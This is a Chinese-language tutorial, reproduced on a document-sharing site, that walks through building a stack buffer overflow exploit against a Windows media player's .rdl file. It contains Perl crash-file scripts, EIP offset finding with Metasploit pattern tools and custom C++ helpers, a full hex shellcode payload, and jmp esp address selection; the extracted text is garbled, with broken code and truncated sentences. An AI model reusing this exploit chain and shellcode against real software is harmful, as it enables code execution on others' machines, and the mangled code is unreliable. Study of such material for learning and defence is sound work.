




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、一、前言今天,我将会演示怎么样编写简单的缓冲区溢出漏洞,在这之前我们需要了解一些相关的知识,这样对于理解才能够比拟深刻,这些资料也将会在参考文章一栏列出。主要是实践自己刚学过的一些知识,稳固一下。劫持EIP存放器是最终的目的。二、根底知识什么是栈?对于学过编程语言的人来说,对于栈都不会感到陌生。栈是一个数据结构,其根本的特性是后进先出LIFO。在计算机中,栈一般用来保存局部变量,函数的调用和保存相应的信息。栈的主要操作有两种PUSH和POP。参看下面的例子来进行理解。初始的栈234 Top Bottom现在我们要往栈中插入元素1,即执行操作PUSH 1,那么插入元素1之后的栈为:1234 To
2、p Bottom现在我们要进行POP操作,把栈顶的元素删除。此时虽然POP 1,但是ESP 4的位置还是保存着1的,只不过此时是不能够通过堆栈的操作对其进行访问。操作后的结果234 Top Bottom再次进行POP操作,此时的栈的布局如下所示34 Top Bottom更详细的栈的内容请看这里对栈有了了解之后我们需要知道在函数被调用之后,栈中的布局情况是怎么样的?看看下面的图就明白了。局部变量异常处理例程EBP函数返回地址函数参数内存地址Bottom内存高址对上图进行一些分析,在调用函数时,我们首先把函数的参数压入堆栈中,然后执行call语句,在执行call的同时将函数的返回地址压入栈中,即c
3、all之后的下一条语句。返回地址是函数执行完之后EIP所要执行的地址。将EBP压入栈中,主要是要通过EBP来对栈中的元素进行访问。函数的局部变量也是保存在栈中的。需要记住堆栈的增长方向是从内存高址向内存地址增长的,这一点与堆的增长方向刚好相反。一个简单的C程序来演示调用函数之后发生后栈中的情况,当然这里也与函数的调用约定有点联系,不过可以忽略,有兴趣的可以自己了解或者看看我写的这篇教程还未完成。void DemoFunction(int par1, int par2) int localvar = 10;int main() DemoFunction(1, 2); return 0;当函数调用
4、之后,栈中的情况就是这样3EBPEIP12内存地址$file);print $FILE $junk;close($FILE);print rdl file created successfully;我是在E盘存放Perl脚本执行后的文件的。上面的perl脚本会创立crash.rdl的文件,里面的内容为5000个字符A ,文件创立成功之后,我们直接双击它就可以看到程序崩溃了。如果有把Windbg或者Ollydbg设置为实时调试器的话,就会弹出下面的图。下面的图都是用原文章的,自己截的图并不好,请见谅。从上面的图我们可以看到EIP被41414141(AAAA)重写了,从这里我们就可以看出EIP的值
5、是能够被改写的,也就是说我们能够将EIP的地址改写为我们想要执行代码的入口去。但此时我们并不能够确定EIP所在的具体位置,所以我们要想方法去定位EIP的地址。可以利用猜想法来进行定位,但这样盲目性太高,首先可以试试二分法来进行定位,这样比拟高效,所以我们可以编写下面的脚本。my $file = crash2.rdl;my $junkA = A x 4000;my $junkB = B x 1000;open($FILE, $file);print $FILE $junkA.$junkB;close($FILE);print rdl file created successfully;保存文件名
6、为exploit2.rdl。或者我们可以把前面的脚本注释掉,注释一大段的代码可以像下面这样操作,重点就是红色的地方了。=aaamy $file = crash.rdl;my $junk = A x 5000;open($FILE, $file);print $FILE $junk;close($FILE);print rdl file created successfully;=cut具体执行的操作与上面相似,这里不再赘述。从上面的图我们可以看到此时EIP是被42424242(BBBB)重写了。所以我们大概知道EIP的偏移位于4000到5000之间。我们再来看看对esp进行转储后的内容。后面还
7、是跟着很多B。使用命令d esp就可以查看当前栈中存放着的内容了。通过上面的两步操作我们大概可以了解到EIP的偏移位置了。但要做到精确定位,我们需要借助一些工具。下面讲的是借助于Metasploit3这个来进行操作的,但我自己也写了一些程序来实现。如果没有这个工具的话就暂时可以跳过这里。当然学会这个工具的使用还是必要的。具体步骤翻开Cygwin shell,在所有程序MetasploitCygwin Shell。将目录转到msf3/tools下。创立500个特殊构造的模式串使用pattern_create.rb这个脚本。$ cd ././msf3/tools$ ./pattern_create
8、.rb 500Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj
9、7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq怎么样才能够做到精确定位呢即找出EIP所在的偏移位置。这就需要构造一个特殊的字符串来进行定位。我们可以利用Metasploit来产生这样特殊构造的字符串,当然我们也可以自己写个程序来产生
10、。为此我自己写了一个简单的程序,可以看看下面。写的不好,只是完成了功能。#include #include #include using namespace std;void MakeString(int n) int count = 0; for (size_t i = 65; i != 91; +i) char temp1 = (char)(i); for (size_t j = 97; j != 123; +j) char temp2 = (char)(j); for (size_t k = 48; k != 58; +k) char temp3 = (char)(k); if (cou
11、nt+ n) printf(%c, temp1); if (count+ n) printf(%c, temp2); if (count+ n) exit(1); int main() freopen(out.txt, w, stdout); 字符串保存到这个文件之下。 int n; cin n; MakeString(n); return 0;程序输入一个数n就可以产生n个字符到out.txt这个文件中。并且是30个字符为一行在练习的过程中,如果你用过Perl来编写相应的exploit的时候你就会明白当构造的字符串很多的时候,我们需要不断的将字符串用双引号和加个点,就像下面的这段代码。$sh
12、ellcode .= x31xc9xbfxd3xc0 x5cx46xdbxc0 xd9x74x24xf4x5d . xb1x50 x83xedxfcx31x7dx0dx03x7dxdex22xa9xba . x8ax49x1fxabxb3x71x5fxd4x23x05xccx0fx87x92 .x48x6cx4cxd8x57xf4x53xcexd3x4bx4bx9bxbbx73 . x6ax70 x0axffx58x0dx8cx11x91xd1x16x41x55x11 . x5cx9dx94x58x90 xa0 xd4xb6x5fx99x8cx6cx88xab . xc9xe6x97x77x1
13、0 x12x41xf3x1exafx05x5cx02x2e . xf1x60 x16xbbx8cx0bx42xa7xefx10 xbbx0cx8bx1d . xf8x82xdfx62xf2x69xafx7exa7xe5x10 x77xe9x91 . x1exc9x1bx8ex4fx29xf5x28x23xb3x91x87xf1x53 . x16x9bxc7xfcx8cxa4xf8x6bxe7xb6x05x50 xa7xb7 . x20 xf8xcexadxabx86x3dx25x36xdcxd7x34xc9x0e . x4fxe0 x3cx5ax22x45xc0 x72x6fx39x6dx28
14、xdcxfe . xc2x8dxb1xffx35x77x5dx15x05x1excex9cx88x4a . x98x3ax50 x05x9fx14x9ax33x75x8bx35xe9x76x7b . xddxb5x25x52xf7xe1xcax7dx54x5bxcbx52x33x86 . x7axd5x8dx1fx83x0fx5dxf4x2fxe5xa1x24x5cx6d . xb9xbcxa4x17x12xc0 xfexbdx63xeex98x57xf8x69 . x0cxcbx6dxffx29x61x3exa6x98xbax37xbfxb0 x06 . xc1xa2x75x47x22x88
15、x8bx05xe8x33x31xa6x61x46 . xcfx8ex2exf2x84x87x42xfbx69x41x5cx76xc9x91 . x74x22x86x3fx28x84x79xaaxcbx77x28x7fx9dx88 . x1ax17xb0 xaex9fx26x99xafx49xdcxe1xafx42xde . xcexdbxfbxdcx6cx1fx67xe2xa5xf2x98xccx22x03 . xecxe9xedxb0 x0fx27xeexe7;在上面用程序产生的特殊字符串之后,如果我们需要精确定位EIP位置时,可能用到的字符串更大,如果我们经常用手工来操作就显得太笨拙了,这
16、些工作都是很无聊的,就是重复性不断的,我们应该利用计算机来帮我们做。其实要学会不要重复做一些无谓的事情,把时间节省出来,充分发挥计算机的功能。下面再写了一个小程序,让计算机来帮我们做这件事。其实如果可以我们应该写一个插件也是行的。但是我的脚本编程能力不行,希望有能力的能够帮个忙。#include #include #include #include using namespace std;void AutoString() string str; while (getline(cin, str) cout str . $file);print $FILE $junkA.$junkB;close
17、($FILE);print rdl File Created successfullyn;保存文件名为exploit3.pl,跟上面的操作一样,perl exploit.pl将会产生radio3.rdl这个文件,双击之后,我们就可以看到下面这个图了。从图中我们可以看到eip此时为0 x41346f41,记住Intel是小端机,就是高字节存放在高地址低字节存放在低地址,所以原来的顺序应该是416f3441(Ao4A),这里的图与我自己本机上的是一样的。我们可以利用Metasploit tool中的pattern_offset来计算EIP在缓冲区的偏移量。翻开Cygwinshell和运行patte
18、rn_offset这个Ruby脚本。看下面的操作Administratorpc /msf3/tools$ ./pattern_offset.rb 41346f41 500432这是在自己本机上Linux下执行的操作studyrushstudyrush-desktop:/opt/metasploit3/msf3/tools$ ./pattern_offset.rb 0 x41346f41 500432自己写了个程序来定位,其实就是字符串的匹配操作。/*FileName: eipstring.cppAuthor: StudyRushCreateDate: 2021-3-4UpdateDate: 2
19、021-3-5程序从out.txt文件中读入字符,但此时应该注意字符是没有分行的所以在eipstring.cpp中我们应该把if (count % 30 = 0) printf(n);这个注释掉。另外还需要把在精确定位的eip改为下面的eip字符数组中。*/#include #include #include #include #include using namespace std;const int MAXN = 50000;char chMAXN;void Offset() freopen(out.txt, r, stdin); /freopen(string.txt, w, stdou
20、t); char temp; int k = 0; while (scanf(%c, &temp) != EOF) chk+ = temp; char eip = Ao4A; /把eip地址替换掉 size_t i = 0, j = 0; int len = strlen(ch); while (i $file);print $FILE $junkA.$eip.$junkC;close($FILE);print rdl File Created successfullyn;参照上面的操作,产生radio4.rdl文件,双击文件之后就可以看到下面的图EIP此时已经被BBBB(42424242)重
21、写了,也就验证了我们上面计算出来的偏移量是正确的。此时ESP也被C字符串所重写。我们可以将shellcode放在C字符串的位置和利用jmp esp的地址去重写EIP,以便让EIP指向shellcode的入口地址,以此执行shellcode。但是我们此时并不知道第一个C开始的地址。所以我们还是创立一个脚本来确定起始地址。my $file = radio5.rdl;my $junkA = A x 4432;my $eip = BBBB;E123456789F123456789G;open($FILE, $file);print $FILE $junkA.$eip.$junkC;close($FIL
22、E);print rdl File Created successfullyn;创立文件并双击之后就看到这个图从图中我们可以看到ESP的起始地址是在00313c4c处,假设这并不是起始地址呢,此时我们应该在shellcode的前面放一些NOP0 x90。利用Metasploit来产生shellcode,一个弹出计算器的shellcode。# windows/exec 144 bytes# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, CMD=calcmy $shellcode = xdbxc0 x31xc9xbfx7cx16x70 xccxd9x74x2
23、4xf4xb1.x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30.x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa.x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96.x60 xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b.xf0 x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a.xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83.x1fx57x53x64x51xa1x33xcdxf5xc6xf
24、5xc1x7ex98.xf5xaaxf1x05xa8x26x99x3dx3bxc0 xd9xfex51x61.xb6x0ex2fx85x19x87xb7x78x2fx59x90 x7bxd7x05.x7fxe8x7bxca;Shellcode刚好从ESP起始地址为入口地址,所以我们可以用jmp esp或者call esp的地址去重写EIP,让其指向shellcode的入口地址。我们可以从应用程序加载的DLL中区寻找像jmp esp和call esp这样的指令串的地址,但是这个应用程序并没有加载其它的DLL,所以我们只能够从系统的DLL中找指令串的地址。比方想ntdll.dll kernel32.dll,user32.dll等这些DLL中去寻找指令串的地址。我们可以利用findjmp这个程序来查找指令串的地址。首先要进入到findjmp的目录下才能够使用findjmp.exe。从上面的结果任选一个地址作为EIP的地址。在这里选择0 x7C93FCD8这个地址。这里的地址因不同的系统会有所不一样,所以当你实践的时候应该以自己的系
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
评论
0/150
提交评论